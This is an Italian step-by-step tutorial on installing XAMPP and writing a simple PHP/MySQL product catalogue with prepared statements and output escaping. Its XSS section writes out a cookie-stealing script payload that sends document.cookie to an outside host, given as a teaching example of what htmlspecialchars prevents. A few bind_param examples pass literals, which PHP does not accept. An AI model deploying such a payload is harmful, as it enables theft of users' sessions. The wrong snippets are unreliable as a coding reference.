Non preoccuparti se non sei sicuro: spiegheremo tutto passo passo!
XAMPP Γ¨ un pacchetto software gratuito che installa automaticamente tutti gli strumenti necessari per creare un ambiente di sviluppo web locale. Il nome Γ¨ un acronimo:
Senza XAMPP, dovresti installare e configurare ogni componente separatamente, con procedure complesse. XAMPP semplifica tutto: un'unica installazione e un pannello di controllo unificato.
apachefriends.org e scarica l'ultima versione di XAMPP per il tuo sistema operativo. Scegli la versione con PHP 7.4 o superiore (consigliato PHP 8.0+).
C:\xampp. Non cambiare percorso durante l'installazione a meno che non sia strettamente necessario. L'installazione puΓ² richiedere 5-10 minuti.
http://localhost. Se vedi la pagina di benvenuto di XAMPP, Apache funziona correttamente.
http://localhost/phpmyadmin. Se si apre phpMyAdmin, MySQL Γ¨ attivo e funzionante.
La porta 80 Γ¨ la porta predefinita per HTTP. Se un altro programma (spesso Skype, TeamViewer, o un altro server web) la sta usando, Apache non puΓ² avviarsi.
Pannello di controllo β Programmi β Attiva/Disattiva funzionalitΓ Windows e deseleziona "Internet Information Services".C:\xampp\apache\conf\httpd.conf: cerca Listen 80 e cambia in Listen 8080. Poi usa http://localhost:8080/progetto/.Le cause piΓΉ comuni:
netstat -ano | findstr :3306 nel terminale per vedere chi la usa.
ibdata1 in C:\xampp\mysql\data\ si corrompe. La soluzione: copia la cartella backup (sempre in data) e rinominarla in data (dopo aver fermato MySQL e salvato i tuoi database importanti).
Se vedi una pagina bianca invece del codice, significa che ci sono errori PHP che non vengono mostrati. Per abilitare la visualizzazione degli errori:
C:\xampp\php\php.inidisplay_errors e cambia in display_errors = Onerror_reporting e imposta error_reporting = E_ALLconnessione.php di conseguenza.
php.ini o httpd.conf), devi sempre fermare e riavviare Apache e MySQL dal pannello di controllo per applicare le modifiche.
Quando visiti una pagina web, avviene questo flusso:
Immagina di voler aggiungere un nuovo prodotto su un sito web (es. un negozio online).
Immagina di voler registrare un nuovo libro nella biblioteca del paese.
Leggi questo prima! Ti aiuterΓ a capire tutto il resto.
XAMPP ha una cartella speciale chiamata htdocs (abbreviazione di "HTML documents") che Γ¨ la radice del web server. Tutto ciΓ² che Γ¨ dentro C:\xampp\htdocs\ puΓ² essere accessibile via browser.
Percorsi principali: C:\xampp\ β Cartella principale di XAMPP C:\xampp\htdocs\ β Qui metti TUTTI i tuoi progetti web C:\xampp\htdocs\progetto\ β π LA TUA CARTELLA DEL PROGETTO File del progetto (in C:\xampp\htdocs\progetto\): π index.html β Home page π inserimento.html β Form per inserire prodotti π ricerca.html β Form per cercare prodotti βοΈ connessione.php β Connessione al database βοΈ inserimento.php β Riceve i dati e salva nel DB βοΈ ricerca.php β Cerca nel database π§ xampp-control.exe β Pannello di controllo (in C:\xampp\)
C:\xampp\htdocs\progettoC:\xampp\htdocs\progettoindex.html e premi Invioinserimento.html, ricerca.html, login.html, dashboard.phpconnessione.phpinserimento.phpricerca.phplogin.phplogout.phpimmaginiC:\xampp\htdocs\progetto\ β βββ π index.html β Home page (pagina di benvenuto) βββ π login.html β Form di accesso βββ π dashboard.php β Pagina personale dopo login β βββ π inserimento.html β Form per inserire nuovi prodotti βββ βοΈ inserimento.php β Riceve i dati e salva nel database β βββ π ricerca.html β Form per cercare prodotti βββ βοΈ ricerca.php β Cerca nel database e mostra risultati β βββ βοΈ connessione.php β Chiavi di accesso al database (DA NON CONDIVIDERE!) βββ πͺ logout.php β Distrugge la sessione (esci) β βββ π immagini\ β Cartella per le immagini dei prodotti βββ πΌοΈ laptop.jpg βββ πΌοΈ mouse.png βββ πΌοΈ ...
Prima di poter usare la tua webapp, devi creare il database e la tabella prodotti. Segui questi passaggi nell'ordine esatto:
C:\xampp\xampp-control.exehttp://localhost/phpmyadminC:\xampp\htdocs\progetto\database.sqlC:\xampp\htdocs\progetto\database.sqlweb_app nell'elenco dei databaseweb_app per espanderloprodottiβ οΈ Se segui la versione semplificata: Quando vedi codice con "immagine" nelle sezioni successive, ignoralo o adattalo alla tua tabella semplificata.
database.sql (non database.sql.txt)-- Crea l'archivio (se non esiste giΓ ) CREATE DATABASE IF NOT EXISTS web_app; -- Apri l'archivio per lavorarci USE web_app; -- Crea il cassetto "prodotti" con le sue colonne (versione SEMPLIFICATA) -- Solo i campi essenziali che compili nel form: nome, descrizione, prezzo CREATE TABLE IF NOT EXISTS prodotti ( id INT AUTO_INCREMENT PRIMARY KEY, nome VARCHAR(50) NOT NULL, descrizione TEXT, prezzo DECIMAL(6, 2) NOT NULL );
http://localhost/progetto/index.html β Home page (pagina di benvenuto)
http://localhost/progetto/login.html β Accedi al tuo account
http://localhost/progetto/inserimento.html β Inserisci nuovi prodotti
http://localhost/progetto/ricerca.html β Cerca prodotti nel database
Il codice per creare il database e la tabella prodotti Γ¨ giΓ stato mostrato sopra. Se hai seguito la procedura passo-passo, il database Γ¨ giΓ pronto!
Se vuoi vedere di nuovo il codice o ricrearlo, lo trovi nella sezione precedente "ποΈ Importare il database in phpMyAdmin".
| Colonna | Tipo | Spiegazione semplice | Esempio |
|---|---|---|---|
id |
INT AUTO_INCREMENT | Numero automatico che si incrementa da solo. Γ come il "numero di pratica" che identifica ogni prodotto in modo unico. | 1, 2, 3, 4... |
nome |
VARCHAR(50) | Testo corto (max 50 caratteri). NOT NULL = obbligatorio, non puΓ² essere vuoto. | "Laptop HP" |
descrizione |
TEXT | Testo lungo senza limiti pratici. PuΓ² essere lasciato vuoto. | "Portatile 15 pollici, 16GB RAM..." |
prezzo |
DECIMAL(6,2) | Numero con 2 decimali per i centesimi. Obbligatorio. | 1199.99 |
| id | nome | descrizione | prezzo |
|---|---|---|---|
| 1 | Laptop HP | Portatile 15 pollici | 899.99 |
| 2 | Mouse Wireless | Mouse ergonomico | 29.50 |
| 3 | Tastiera RGB | Tastiera meccanica | 79.00 |
Nota: l'ID si Γ¨ incrementato automaticamente: 1, 2, 3...
Un form HTML Γ¨ come un modulo cartaceo che compili con una penna, ma in versione digitale. Γ lo strumento che permette all'utente di inviare dati al server.
π§ Struttura base di un form:
<form action="pagina_che_riceve.php" method="post">
<label>Nome:</label>
<input type="text" name="nome"> β Casella di testo
<label>Password:</label>
<input type="password" name="password"> β Casella password
<input type="submit" value="Invia"> β Pulsante per inviare
</form>
π― Come funziona:
Prima di scrivere il codice, ripassiamo i tag HTML che useremo. Un tag Γ¨ un "comando" che dice al browser come visualizzare il contenuto.
| π·οΈ Tag | π Cosa fa | π» Esempio |
|---|---|---|
<form> |
<form action="inserimento.php" method="post">......</form>Indica che i dati inseriti dall'utente nella pagina web sono mandati con il metodo post (quindi in "busta chiusa") al server PHP che li elabora mediante il file "inserimento.php".In luogo dei "..." ci sono le istruzioni HTML che permettono all'utente di inserire i dati (ad esempio <label>Nome</label><br><input type="text" name="nome">).
|
<form action="pagina.php">...</form> |
<label> |
Etichetta che descrive cosa inserire nel campo accanto. | <label>Nome:</label> |
<input> |
Casella di testo dove l'utente scrive. Non ha tag di chiusura. | <input type="text" name="nome"> |
<textarea> |
Come <input>, ma per testi lunghi (piΓΉ righe, nell'esempio 3 righe). |
<textarea rows="3"></textarea> |
<br> |
Va a capo (come "Invio" sulla tastiera). Non ha chiusura. | Riga 1<br>Riga 2 |
<input type="submit"> |
Pulsante che invia i dati al server quando ci clicchi sopra. | <input type="submit" value="Invia"> |
action="inserimento.php" β Il file PHP che contiene il codice che il server eseguirΓ per elaborare i datimethod="post" β I dati viaggiano "nascosti" (in "busta chiusa", non nell'URL)method="get" β I dati sono visibili nell'URL (in "cartolina", chiunque puΓ² vederli)name="..." β Etichetta per PHP (es: $_POST['nome'])required β Campo obbligatoriotype="number" β Solo numeristep="0.01" β Permette i decimali
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Catalogo Prodotti - Home</title>
</head>
<body>
<h1>Catalogo Prodotti</h1>
<p><a href="login.html">Accedi</a></p>
<p><a href="inserisciUtente.html">Registrati</a></p>
</body>
</html>
<h1>Catalogo Prodotti</h1>)β οΈ Nota: I link alle pagine protette (inserimento.html e ricerca.html) non sono presenti qui perchΓ© richiedono il login. Saranno visibili solo nella dashboard dopo l'accesso.
<?php // βββββββββββββββββββββββββββββββββββββββββββ // LE "CHIAVI" PER ENTRARE NEL DATABASE // βββββββββββββββββββββββββββββββββββββββββββ $servername = "localhost"; // Dove si trova? (localhost = qui) $username = "root"; // Chi sei? (utente predefinito di MySQL) $password = ""; // Password vuota (default di XAMPP) $dbname = "web_app"; // Quale database aprire? // βββββββββββββββββββββββββββββββββββββββββββ // PROVA AD APRIRE LA CONNESSIONE // βββββββββββββββββββββββββββββββββββββββββββ $conn = new mysqli($servername, $username, $password, $dbname); // βββββββββββββββββββββββββββββββββββββββββββ // CONTROLLA SE LA PORTA SI Γ APERTA // βββββββββββββββββββββββββββββββββββββββββββ if ($conn->connect_error) { // Se c'Γ¨ un errore, FERMATI e mostra cosa Γ¨ andato storto die("β Connessione fallita: " . $conn->connect_error); } // Se arriviamo qui, la connessione funziona! π ?>
$conn = new mysqli(...)$conn.$conn come a una "linea telefonica aperta" con il database.if ($conn->connect_error)$conn->connect_error restituisce il messaggio di errore (se c'Γ¨ un problema) oppure NULL (se tutto ok).NULL Γ¨ un valore speciale che significa "nessun valore". Non Γ¨ 0 (zero Γ¨ un numero), non Γ¨ "" (stringa vuota Γ¨ comunque un testo, il testo vuoto), Γ¨ proprio assenza di valore.true ed entra nel blocco. Se Γ¨ NULL (nessun errore), la condizione Γ¨ false e salta il blocco.-> significa "accedi a una proprietΓ dell'oggetto $conn".
die("Messaggio")die() = "muori qui". Ferma tutto il programma e mostra il messaggio.$password = ""; Se hai cambiato la password, aggiorna connessione.php con la tua password effettiva.
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Inserisci Prodotto</title>
</head>
<body>
<h2>π¦ Inserisci Nuovo Prodotto</h2>
<!--
action = "A CHI mandare i dati"
method = "COME mandarli" (post = nascosti, get = visibili nell'URL)
-->
<form action="inserimento.php" method="post">
<!-- Ogni input ha un NAME: Γ¨ l'etichetta per riconoscerlo -->
<label>Nome prodotto:</label><br>
<input type="text" name="nome" required>
<br><br>
<label>Descrizione:</label><br>
<textarea name="descrizione" rows="3" cols="40"></textarea>
<br><br>
<label>Prezzo (β¬):</label><br>
<input type="number" name="prezzo" step="0.01" required>
<br><br>
<input type="submit" value="πΎ Salva Prodotto">
</form>
<p><a href="index.html">β Torna alla home</a></p>
</body>
</html>
name Γ¨ FONDAMENTALE!<input name="nome" value="Laptop"><input name="prezzo" value="999">
$_POST['nome'] contiene "Laptop"$_POST['prezzo'] contiene "999"
Il name dell'HTML diventa la chiave per recuperare il valore in PHP!
| POST (busta chiusa) π¨ | GET (cartolina) π¬ | |
|---|---|---|
| Dove sono i dati? | Nascosti nel "corpo" della richiesta | Visibili nell'URL: ?nome=laptop&prezzo=999 |
| Quando usarlo? | Per modificare dati (inserire, eliminare) | Per leggere dati (cercare, filtrare) |
| Sicurezza? | PiΓΉ sicuro (dati non in cronologia) | Meno sicuro (dati visibili e salvabili) |
Prima di analizzare inserimento.php, ecco due concetti fondamentali di PHP che useremo:
In PHP, le variabili si definiscono semplicemente con il simbolo $ seguito dal nome:
$nome β una variabile che contiene un nome$prezzo β una variabile che contiene un prezzo$conn β una variabile che contiene la connessione al databaseNota: Il simbolo $ Γ¨ obbligatorio! Senza di esso, PHP pensa che tu stia usando una costante.
echo serve a stampare output nel browser:
echo "Ciao"; β Scrive "Ciao" nella pagina HTMLecho "<h2>Titolo</h2>"; β Crea un titolo H2echo "<p>Testo</p>"; β Crea un paragrafoIn pratica: echo permette di "creare" HTML dinamicamente con PHP!
<?php // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 1: APRI LA CONNESSIONE AL DATABASE β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ require_once 'connessione.php'; // require_once = "includi questo file, ovvero esegui le sue istruzioni, ma solo una volta" // Dopo questa riga, la variabile $conn (la connessione) Γ¨ disponibile // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 2: RECUPERA I DATI INVIATI DAL FORM β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $nome = $_POST['nome']; $descrizione = $_POST['descrizione']; $prezzo = $_POST['prezzo']; // $_POST Γ¨ un array associativo ove ogni dato Γ¨ individuato da un'etichetta ("chiave") // inviati con method="post". Il nome del campo HTML diventa la "chiave" associata al valore del campo // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 3: PREPARA LA QUERY CON I "BUCHI" (segnaposto) β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $stmt = $conn->prepare( "INSERT INTO prodotti (nome, descrizione, prezzo) VALUES (?, ?, ?)" ); // I punti interrogativi (?) sono SEGNAPOSTO. // Dicono: "qui metterΓ² un valore, ma non ancora". // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 4: RIEMPI I "BUCHI" CON I VALORI REALI β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $stmt->bind_param("ssd", $nome, $descrizione, $prezzo); // bind_param COLLEGA i valori ai segnaposto. // "ssd" = tipi dei dati: String, String, Double (decimale) // L'ordine conta! Il primo "s" va col primo ?, ecc. // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 5: ESEGUI! Ora i dati vengono salvati β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $stmt->execute(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 6: CONFERMA ALL'UTENTE β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ echo "<h2>β Prodotto salvato con successo!</h2>"; echo "<p>Nome: " . htmlspecialchars($nome) . "</p>"; echo "<p>Prezzo: β¬" . htmlspecialchars($prezzo) . "</p>"; echo "<p><a href='index.html'>β Torna alla home</a></p>"; // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 7: CHIUDI TUTTO (buona pratica) β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $stmt->close(); $conn->close(); ?>
connessione.php, header.php, footer.php).
include 'header.php';
# Se header.php non esiste:
# β PHP mostra un WARNING β οΈ
# β Il programma CONTINUA a eseguire
2. require 'file.php' - "Devi includere"
require 'connessione.php';
# Se connessione.php non esiste:
# β PHP mostra un ERRORE FATALE β
# β Il programma SI FERMA subito
3. include_once 'file.php' - "Includi una sola volta"
include_once 'header.php';
include_once 'header.php'; # β Ignorata! GiΓ incluso prima
# Utile per evitare di includere due volte lo stesso file
4. require_once 'file.php' - "Devi includere, una sola volta"
require_once 'connessione.php';
require_once 'connessione.php'; # β Ignorata! GiΓ incluso prima
# IL PIΓ SICURO: blocca se manca + evita duplicati
π― Quando usare ciascuno:
connessione.php Γ¨ essenziale β senza di esso, il sito non funziona
# I dati sono individuati da un numero (indice)
$frutti = ["Mela Red delicious", "Pera Williams", "Arancia Tarocco"];
echo $frutti[0]; # β "Mela Red delicious"
echo $frutti[1]; # β "Pera Williams"
echo $frutti[2]; # β "Arancia Tarocco"
Array ASSOCIATIVO (con chiavi nominate):
# I dati sono individuati dal NOME (chiave)
$fruttiAssociativo = [
"mela" => "Mela Red delicious",
"pera" => "Pera Williams",
"arancia" => "Arancia Tarocco"
];
echo $fruttiAssociativo["mela"]; # β "Mela Red delicious"
echo $fruttiAssociativo["pera"]; # β "Pera Williams"
echo $fruttiAssociativo["arancia"]; # β "Arancia Tarocco"
π― $_POST Γ¨ un array associativo!
# Nel form HTML:
<input name="nome" value="Laptop">
<input name="prezzo" value="999">
# In PHP diventa:
$_POST = [
"nome" => "Laptop",
"prezzo" => "999"
];
# Per prendere i valori:
$_POST["nome"]; # β "Laptop"
$_POST["prezzo"]; # β "999"
π‘ Analogia della rubrica telefonica:
password_hash() e password_verify().
password_hash('password123', PASSWORD_DEFAULT) crea un hash unico (con "sale" casuale)password_verify($password, $hash) controlla se la password corrisponde all'hashpassword_hash('password123', PASSWORD_DEFAULT), ottieni un hash diverso! Questo perchΓ© PHP aggiunge un "sale" casuale per sicurezza.
// REGISTRAZIONE (crei l'hash)
$hash = password_hash('password123', PASSWORD_DEFAULT);
// Salvi $hash nel database
// LOGIN (verifichi la password)
if (password_verify('password123', $hash)) {
echo "Password corretta! β
";
} else {
echo "Password sbagliata! β";
}
header() deve essere eseguita PRIMA di qualsiasi output HTML.header() come l'etichetta su un pacco e l'output HTML come il contenuto del pacco. Non puoi attaccare l'etichetta se il pacco Γ¨ giΓ stato spedito!
<?php
echo "Ciao"; // β Output inviato!
header("Location: dashboard.php"); // β ERRORE: headers already sent!
?>
<?php
header("Location: dashboard.php"); // β Prima l'intestazione!
exit(); // β Ferma lo script
?>
<?php deve essere il primissimo carattere del file (niente righe vuote prima)echo o HTML prima di header()?>header("Location: ..."), metti SEMPRE exit()$_POST Γ¨ una variabile speciale di PHP che esiste automaticamente. Contiene tutti i dati inviati da un form con method="post".
[
"nome" => "Laptop Gaming",
"descrizione" => "16GB RAM",
"prezzo" => "1299.99"
]
Per prendere un valore: $_POST['nome_del_campo']
Binding (dal verbo inglese "to bind" = legare/collegare) Γ¨ il meccanismo che collega i valori reali delle variabili PHP ai segnaposto ? nella query SQL preparata.
Invece di inserire direttamente i valori nella stringa SQL (rischioso per la SQL Injection), usiamo i ? come segnaposto. Il binding dice al database: "al primo ? metti questa variabile, al secondo quest'altra", e il database si occupa di controllare che il tipo di dato sia corretto (numero, testo, ecc.) e di proteggere da attacchi.
π‘ Come funziona il binding:
Query con segnapostoINSERT INTO prodotti VALUES (?, ?, ?)
bind_param() collega il primo ? alla variabile $nome,
il secondo ? alla variabile $desc,
il terzo ? alla variabile $prezzo.
La stringa "ssd" indica che:
$nome Γ¨ di tipo stringa,
$desc Γ¨ di tipo stringa,
$prezzo Γ¨ di tipo decimale (double).
bind_param()Il parametro "ssd" in bind_param("ssd", $nome, $desc, $prezzo) Γ¨ una stringa dove ogni lettera indica il tipo della variabile corrispondente:
| Lettera | Tipo PHP/MySQL | Quando usarla |
|---|---|---|
| s | String / VARCHAR / TEXT | Nomi, email, descrizioni, qualsiasi testo β Anche per: DATE, DATETIME, TIMESTAMP (formato "YYYY-MM-DD") |
| i | Integer / INT | ID, quantitΓ , etΓ , numeri senza decimali β Anche per: BOOLEAN, TINYINT ( 1 = true, 0 = false) |
| d | Double / DECIMAL / FLOAT | Prezzi, percentuali, misure con decimali |
| b | Blob / Binary | File, immagini, dati binari (uso avanzato) |
π‘ Esempio pratico: bind_param("isds", $id, $nome, $prezzo, $email)
significa: Integer, String, Double, String
?, le lettere del tipo e le variabili non corrispondono in numero.VALUES (?, ?, ?)bind_param("ss", $a, $b)VALUES (?, ?, ?)bind_param("ssd", $a, $b, $c)htmlspecialchars() Γ¨ una funzione PHP che converte i caratteri speciali in entitΓ HTML. Serve per prevenire attacchi XSS (Cross-Site Scripting) quando mostri dati provenienti dal database o dagli utenti.
<td><?php echo $row["nome"]; ?></td>Se il nome contiene codice HTML come <script>alert('hack')</script>, viene eseguito!
<td><?php echo htmlspecialchars($row["nome"]); ?></td>Il codice HTML viene reso innocuo: <script>alert('hack')</script>
Caratteri convertiti:
& diventa &< diventa <> diventa >" diventa "' diventa '<script>document.location='http://miosito.com?cookie='+document.cookie</script>htmlspecialchars(), il codice viene visualizzato come testo normale, innocuo.
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Cerca Prodotti</title>
</head>
<body>
<h2>π Cerca Prodotti</h2>
<!-- Usiamo GET perchΓ© Γ¨ una ricerca (lettura, non modifica) -->
<form action="ricerca.php" method="get">
<label>Cerca per nome:</label>
<input type="text" name="nome" placeholder="es: laptop, mouse...">
<input type="submit" value="π Cerca">
</form>
<p><a href="index.html">β Torna alla home</a></p>
</body>
</html>
method="get" perchΓ©:
ricerca.php?nome=laptop<?php // PASSO 1: Connessione require_once 'connessione.php'; // PASSO 2: Recupera il termine cercato dall'URL // (Con GET, i dati sono nell'URL: ricerca.php?nome=laptop) $nome = $_GET['nome']; // PASSO 3: Prepara la query di ricerca SEMPLICE (uguaglianza esatta) // Cerca il nome ESATTAMENTE come digitato dall'utente // ? Γ¨ il segnaposto per il termine di ricerca $stmt = $conn->prepare( "SELECT * FROM prodotti WHERE nome = ?" ); // PASSO 4: Sostituisce il segnaposto con il valore della variabile $nome $stmt->bind_param("s", $nome); // PASSO 6: Esegui la ricerca $stmt->execute(); // PASSO 7: Ottieni i risultati $result = $stmt->get_result(); // PASSO 8: Visualizza i risultati con echo // Mostra intestazione risultati echo "<h2>Risultati per '" . htmlspecialchars($nome) . "'</h2>"; // Controlla se ci sono risultati (($result->num_rows Γ¨ il numero delle righe restituite dalla Query di ricerca) if ($result->num_rows > 0) { echo "<p>Trovati <strong>" . $result->num_rows . "</strong> prodotti:</p>"; // Inizio tabella echo "<table border='1' style='border-collapse: collapse; width: 100%;'>"; echo "<tr style='background-color: #3498db; color: white;'>"; echo "<th>ID</th><th>Nome</th><th>Descrizione</th><th>Prezzo</th></tr>"; // Ciclo attraverso ogni riga della tabella restituita dalla Query per la ricerca while($row = $result->fetch_assoc()) { echo "<tr>"; echo "<td>" . $row["id"] . "</td>"; echo "<td>" . htmlspecialchars($row["nome"]) . "</td>"; echo "<td>" . htmlspecialchars($row["descrizione"]) . "</td>"; echo "<td>β¬" . $row["prezzo"] . "</td>"; echo "</tr>"; } echo "</table>"; } else { echo "<p>β Nessun prodotto trovato.</p>"; } // Link per nuova ricerca echo "<p>"; echo "<a href='ricerca.html'>π Nuova ricerca</a> | "; echo "<a href='index.html'>π Home</a>"; echo "</p>"; // PASSO 9: Chiudi le connessioni $stmt->close(); $conn->close(); ?>
Quando usi fetch_assoc(), ogni riga del database diventa un array associativo: un array dove ogni cella ha un nome e la cella non Γ¨ individuata dal suo indice ma dal suo nome
| ID: | 1 |
| Nome: | Laptop Gaming |
| Descrizione: | 16GB RAM, SSD |
| Prezzo: | 1299.99 |
$row, e per leggere un valore usi l'etichetta(il nome della cella):
$row["nome"] β "Laptop Gaming"$row["prezzo"] β "1299.99"| id | nome | prezzo |
|---|---|---|
| 1 | Laptop | 999 |
$row = [
"id" => 1,
"nome" => "Laptop",
"prezzo" => 999
];
while($row = $result->fetch_assoc())?Il capo ha chiesto al magazziniere: "Prepara un elenco completo di tutti i prodotti che abbiamo, in ordine, in una bella tabella".
Il magazziniere ha a disposizione:
$result) che contiene le schede originali del database, scritte in un linguaggio complicato e poco leggibile (codice interno del database).$row), dove appoggia i foglietti su cui lavorare.La funzione fetch_assoc() Γ¨ il suo lavoro: con le sue mani, prende una scheda originale dallo scatolone, la legge e la riscrive in un foglietto chiaro e semplice (l'array associativo, con etichette tipo "nome", "prezzo"), e poi appoggia quel foglietto sul bancone.
L'operazione: $row = $result->fetch_assoc()
$row) sul bancone.NULL).Il controllo del while:
Subito dopo, il ciclo guarda il bancone:
Prima del ciclo: Il magazziniere ha lo scatolone pieno di schede originali, il bancone vuoto, e la tabella vuota.
["nome" => "Laptop", "prezzo" => 1000].$row).["nome" => "Mouse", "prezzo" => 20] (il vecchio foglietto viene buttato via).$row ora contiene i dati del Mouse).NULL).Alla fine, la tabella Γ¨ completa:
| Nome | Prezzo |
|---|---|
| Laptop | β¬1000 |
| Mouse | β¬20 |
| Monitor | β¬300 |
PerchΓ© la scheda originale nel database non Γ¨ direttamente utilizzabile da PHP. fetch_assoc() traduce i dati in un linguaggio che PHP capisce (l'array associativo). Γ come se il magazziniere ricevesse schede scritte in codice e le riscrivesse in italiano semplice sul foglietto, prima di leggerle per compilare la tabella.
$row (array associativo)$result (risultato della query)fetch_assoc()
| $_POST / $_GET | Array associativi che contengono i dati inviati dal form. Usi il NAME del campo come chiave (la chiave della cella di un array associativo Γ¨ l'etichetta della cella). |
| Segnaposto (?) | Segnaposto nella query. Il valore viene inserito dopo in modo sicuro. |
| bind_param("tipi", ...) | Sostituisce i segnaposto con i valori di tipo sidb ottenuti con $_POST / $_GET ove: s = stringa (VARCHAR, TEXT, CHAR, DATE, DATETIME, TIMESTAMP) i = intero (INT, INTEGER, BOOLEAN, TINYINT) d = decimale (DECIMAL, FLOAT, DOUBLE) b = blob (BLOB, file binari) Note importanti: β’ DATE/DATETIME: usa "s" con formato "YYYY-MM-DD" o "YYYY-MM-DD HH:MM:SS"β’ BOOLEAN: usa "i" con 1 (true) o 0 (false) |
| fetch_assoc() | Prende una riga dalla tabella ottenuta tramite la query e lo inserisce nell'array associativo $row. |
| $row["nome_colonna"] | Accede al valore di una colonna specifica nella riga usando l'array associativo row(ad esempio se la tabella risultante della query ha colonne nome prezzo decrizione accedo al valore del prezzo con $ row["prezzo"]) . |
| LIKE '%termine%' | Cerca righe che CONTENGONO il termine (ricerca parziale). |
| htmlspecialchars() | Rende sicuro mostrare dati utente in HTML (previene attacchi). |
bind_param("ssd", $a, $b, $c)?
"YYYY-MM-DD" per DATE o "YYYY-MM-DD HH:MM:SS" per DATETIME. Esempio: bind_param("s", "2026-03-16").1 per true/vero o 0 per false/falso. Esempio: bind_param("i", 1) per attivo, bind_param("i", 0) per inattivo.$_POST['nome']?
name="nome" dal form inviato. Se l'utente ha scritto "Mario" in quel campo, $_POST['nome'] vale "Mario".while con fetch_assoc()?
fetch_assoc() prende una riga alla volta dal risultato. Il while continua finchΓ© ci sono righe da leggere.Se sai rispondere, hai capito i concetti fondamentali! π
Obiettivo: Creare un sito web semplice che permetta di inserire e cercare prodotti in un database, mostrando anche le loro immagini.
Strumenti: XAMPP (Apache + MySQL + PHP), un editor di testo (come Notepad++ o VS Code), un browser.
Approccio: Spiegheremo ogni passaggio come se fosse la prima volta che lo fai. Niente termini tecnici senza spiegazione.
XAMPP ha una cartella speciale chiamata htdocs (abbreviazione di "HTML Documents"). Γ la radice del tuo sito web: tutto ciΓ² che ci metti dentro C:\xampp\htdocs\ sarΓ accessibile via browser.
Per il nostro progetto, creiamo questa struttura:
C:\xampp\htdocs\progetto\index.html β Menu principale (pagina di benvenuto) C:\xampp\htdocs\progetto\inserimento.html β Form per inserire nuovi prodotti C:\xampp\htdocs\progetto\ricerca.html β Form per cercare prodotti C:\xampp\htdocs\progetto\connessione.php β File "segreto" con le chiavi del database C:\xampp\htdocs\progetto\inserimento.php β Il "cervello" che salva i dati nel DB C:\xampp\htdocs\progetto\ricerca.php β Il "cervello" che legge i dati dal DB C:\xampp\htdocs\progetto\immagini\ β Cartella dove metterai le foto dei prodotti C:\xampp\htdocs\progetto\immagini\laptop.jpg C:\xampp\htdocs\progetto\immagini\mouse.png ...
Come aprire il progetto: Nel browser scrivi http://localhost/progetto/index.html
Questa Γ¨ la pagina di benvenuto che mostra il menu con i link alle varie funzionalitΓ del progetto.
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Catalogo Prodotti - Home</title>
</head>
<body>
<h1>Catalogo Prodotti</h1>
<p><a href="login.html">Accedi</a></p>
<p><a href="inserisciUtente.html">Registrati</a></p>
</body>
</html>
login.html)inserisciUtente.html)β οΈ Nota: Le pagine protette (inserimento.html e ricerca.html) non sono linkate qui perchΓ© richiedono il login. I link appariranno solo nella dashboard dopo l'accesso.
Il database Γ¨ come un enorme archivio con cassetti:
web_app)prodotti)Apri http://localhost/phpmyadmin e segui la procedura per importare il database vista nella Sezione 0.
-- 1. Creiamo il database (l'archivio) CREATE DATABASE IF NOT EXISTS web_app; -- 2. Usiamo questo database USE web_app; -- 3. Creiamo la tabella prodotti (il cassetto) CREATE TABLE IF NOT EXISTS prodotti ( id INT AUTO_INCREMENT PRIMARY KEY, -- Numero unico che si assegna da solo nome VARCHAR(20) NOT NULL, -- Nome del prodotto (max 20 caratteri) descrizione TEXT, -- Descrizione lunga (illimitata) prezzo DECIMAL(6,2) NOT NULL, -- Prezzo con 2 decimali (es: 99.99) immagine VARCHAR(255) -- Percorso dell'immagine (es: "immagini/laptop.jpg") );
| Colonna | Tipo | Spiegazione | Esempio |
|---|---|---|---|
id |
INT AUTO_INCREMENT PRIMARY KEY |
Numero che aumenta automaticamente. Γ l'identificativo unico del prodotto. Non lo inserisci tu, lo sistema il database da solo. | 1, 2, 3, 4... |
nome |
VARCHAR(20) NOT NULL |
Testo corto (massimo 20 caratteri). NOT NULL significa che Γ¨ obbligatorio, non puΓ² essere vuoto. |
"Laptop HP", "Mouse Wireless" |
descrizione |
TEXT |
Testo lungo senza limiti pratici. PuΓ² essere vuoto. | "Portatile 15 pollici, 16GB RAM, SSD 512GB..." |
prezzo |
DECIMAL(6,2) |
Numero con 2 decimali. Il primo numero (6) Γ¨ le cifre totali, il secondo (2) sono i decimali. | 1199.99, 29.50 |
immagine |
VARCHAR(255) |
Testo che contiene il percorso del file immagine (es: "immagini/laptop.jpg"). PuΓ² essere vuoto. |
"immagini/prodotto1.jpg" |
Per parlare con il database, hai bisogno di una "chiave" che contiene:
"localhost" = stesso computer)"root" Γ¨ l'amministratore in XAMPP)"web_app")<?php
// 1. Dati per collegarsi al database
$servername = "localhost"; // Il database Γ¨ sul tuo computer
$username = "root"; // Utente amministratore
$password = ""; // ATTENZIONE: su XAMPP la password Γ¨ VUOTA!
$dbname = "web_app"; // Nome del database che abbiamo creato
// 2. Tentativo di connessione
$conn = new mysqli($servername, $username, $password, $dbname);
// 3. Controllo: se la connessione fallisce, ferma tutto e mostra l'errore
if ($conn->connect_error) {
die("β Connessione fallita: " . $conn->connect_error);
}
?>
